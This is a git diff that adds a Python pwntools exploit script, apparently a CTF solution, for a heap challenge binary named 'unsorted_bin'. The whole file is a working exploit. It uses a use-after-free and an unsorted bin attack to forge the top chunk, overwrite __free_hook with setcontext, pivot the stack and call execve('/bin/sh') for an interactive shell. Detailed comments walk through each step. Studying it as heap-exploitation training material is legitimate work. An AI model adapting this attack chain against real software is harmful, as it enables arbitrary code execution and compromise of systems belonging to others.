diff --git a/OtherBin/unsorted_bin/answer.py b/OtherBin/unsorted_bin/answer.py
new file mode 100755
index 0000000..88169a6
--- /dev/null
+++ b/OtherBin/unsorted_bin/answer.py
@@ -0,0 +1,144 @@
+#!/usr/bin/env python2
+# coding = utf-8
+# Environment: Ubuntu 16.04
+
+from pwn import *
+from LibcSearcher import *
+context(arch = "amd64", os = "linux", log_level = "debug")
+
+def send_choice(choice):
+    p.recvuntil('choose > ')
+    p.sendline(str(choice))
+
+def new_data(id, data):
+    send_choice(1)
+    p.recvuntil('id : ')
+    p.sendline(str(id))
+    p.recvuntil('input : ')
+    p.send(data)
+
+def delete_data(id):
+    send_choice(2)
+    p.recvuntil('id : ')
+    p.sendline(str(id))
+
+def edit_data(id, data):
+    send_choice(3)
+    p.recvuntil('id : ')
+    p.sendline(str(id))
+    p.recvuntil('input : ')
+    p.send(data)
+
+p = process('./unsorted_bin')
+elf = ELF('./unsorted_bin')
+# gdb.attach(p, '')
+
+"""
+Heap Layout:
+|--------------------
+|(UAF) Unsorted Chunk
+|--------------------
+|Using Chunk (Isolating)
+|--------------------
+|top chunk (Lefted)
+|--------------------
+"""
+
+data_bss = 0x6CCBB0
+
+new_data(0, 'a')
+new_data(1, 'a')
+delete_data(0) # UAF Chunk 0
+"""
+Unsorted Bin Attack:
+Use After Free: Point UAF Chunk's ``*bk` to fake next free unsorted bin at `(char *)&data_bss - offset(fd, struct malloc_chunk)`;
+The pointer at `data_bss` (aka `&data_bss[0]`) will point at `main_arena + 88`, aka macro `unsorted_chunks (main_arena)`,
+aka `(char *)&main_arena.bins[0] - offset(fd, struct malloc_chunk)`, aka `main_arena.top`.
+Reference: https://code.woboq.org/userspace/glibc/malloc/malloc.c.html
+At malloc.c:3740, `(victim = unsorted_chunks (av)->bk)` as the first free unsorted bin;
+At malloc.c:3742, `bck = victim->bk` as the second free unsorted bin which can be controlled via UAF;
+At malloc.c:3799, `unsorted_chunks (av)->bk = bck` lead a next allocate from unsorted bin crashing the program
+                    because of invalid size 0 at offset of bck->mchunk_size on `(char *)&data_bss - 0x8`;
+At malloc.c:3800, ` bck->fd = unsorted_chunks (av)` write exactly on `&data_bss` with value `unsorted_chunks (av)`
+                    which is `main_arena.top`.
+"""
+edit_data(0, p64(0) + p64(data_bss - 0x10))
+
+"""
+Fill `setcontext`'s argument in advance in the memory referenced by `data_bss[1]`,
+    which executes `system("/bin/sh")`.
+The function `setcontext` mainly recover the register's value (including but not limited to Data Regs & IP),
+    then jump to the IP user specified.
+Please understand them according to the exploit code's context.
+"""
+pop_rax_rdx_rbx_retn_addr = 0x480c06
+
+"""
+`execve`'s Prototype:
+int execve(const char *pathname, char *const argv[], char *const envp[]);
+
+Set RDI(First Arg, `pathname`) in SigReturnFrame, Corresponding to `&migrated_stack_payload`, whose content is "/bin/sh\x00".
+Set RSI(Second Arg, `argv`) in SigReturnFrame, which must be `NULL`.
+"""
+setcontext_payload = '\x00' * 0x68 + p64(data_bss - 0xf0) + p64(0)
+"""
+Set RSP in SigReturnFrame, Corresponding to `(char *)&migrated_stack_payload + 0x10`, 
+    whose content is `p64(SYS_execve_no) + p64(0) *2 + p64(syscall_addr)`,
+    which is prepared for the final EXECVE SysCall.
+""" 
+setcontext_payload = setcontext_payload.ljust(0xa0, '\x00') + p64(data_bss - 0xe0) 
+# Set RIP in SigReturnFrame to do ROP in order to control RAX (SysCall_NO) and execute `syscall`.
+setcontext_payload += p64(pop_rax_rdx_rbx_retn_addr)
+new_data(1, setcontext_payload)
+
+"""
+The new top_chunk position which was choosen is exactly `(char *)&data_bss - 0x100`. 
+Note that every malloc_chunk size is 0x110 (Metadata 0x10 + User Mem 0x100).
+In that case, we may overwrite `data_bss[0]` to get an arbitrary R/W. (We choose a `__free_hook`)
+Meanwhile, `data_bss[2]` won't be corrupted because the top chunk after this alloc will only
+            write domain `mchunk_size` on `data_bss[3]`, which is meaningless to us.
+            (Reference: malloc.c:4099~4134)
+"""
+top_chunk = 0x6ccab0
+last_reminder = 0
+top_chunk_glibc_addr = 0x6cb858
+"""
+Note: We are editing content starting at `main_arena.top`.
+Firstly, we can forge an arbitrary top chunk. The top chunk address was chosen according to the above reason.
+Secondly, We have to clear(recover) unsorted bin's double linked list's header node due to Unsorted Bin Attack's side effect.
+Recover condition (Reference: malloc.c:3740):
+When `(victim = unsorted_chunks (av)->bk) == unsorted_chunks (av)`, the double linked list has no nodes.
+So use `p64(top_chunk_glibc_addr) * 2` to overwrite the originals.
+"""
+edit_data(0, p64(top_chunk) + p64(last_reminder) + p64(top_chunk_glibc_addr) * 2)
+
+syscall_addr = 0x40f4fa
+SYS_execve_no = 59
+"""
+Layout the migrated Stack:
+Corresponding to `setcontext_payload`'s RSP settings, respectively:
+RDI -> SysCall execve's first argument C-String "/bin/sh"
+'\x00' * 8 -> Useless Padding
+RAX(SYS_execve_no) -> Syscall's NO: execve(59)
+RDX(0) -> Syscall's third argument `envp`, which must be `NULL`
+RBX(0) -> Useless Here
+syscall_addr -> Invoke SysCall
+"""
+migrated_stack_payload = '/bin/sh\x00' + '\x00' * 8 + p64(SYS_execve_no) + p64(0) *2 + p64(syscall_addr)
+# Write `__free_hook` on `data_bss[0]`
+__free_hook_addr = 0x6cd608
+migrated_stack_payload = migrated_stack_payload.ljust(0xf0, '\x00') + p64(__free_hook_addr)
+new_data(2, migrated_stack_payload)
+# Set `*__free_hook` to `setcontext`
+setcontext_addr = 0x40f519
+edit_data(0, p64(setcontext_addr))
+delete_data(1)
+
+"""
+As a conclusion, invoking `free(data[1])` cause executing the following procedures:
+free -> __free_hook -> setcontext_addr (to migrate stack on heap & place syscall's first & second arg) ->
+# In this problem, one_gadget is not available.
+pop_rax_rdx_rbx_retn_addr (place syscall's no, third arg, call syscall)
+"""
+
+p.interactive()
diff --git a/OtherBin/unsorted_bin/unsorted_bin b/OtherBin/unsorted_bin/unsorted_bin
new file mode 100755
index 0000000..766726f
Binary files /dev/null and b/OtherBin/unsorted_bin/unsorted_bin differ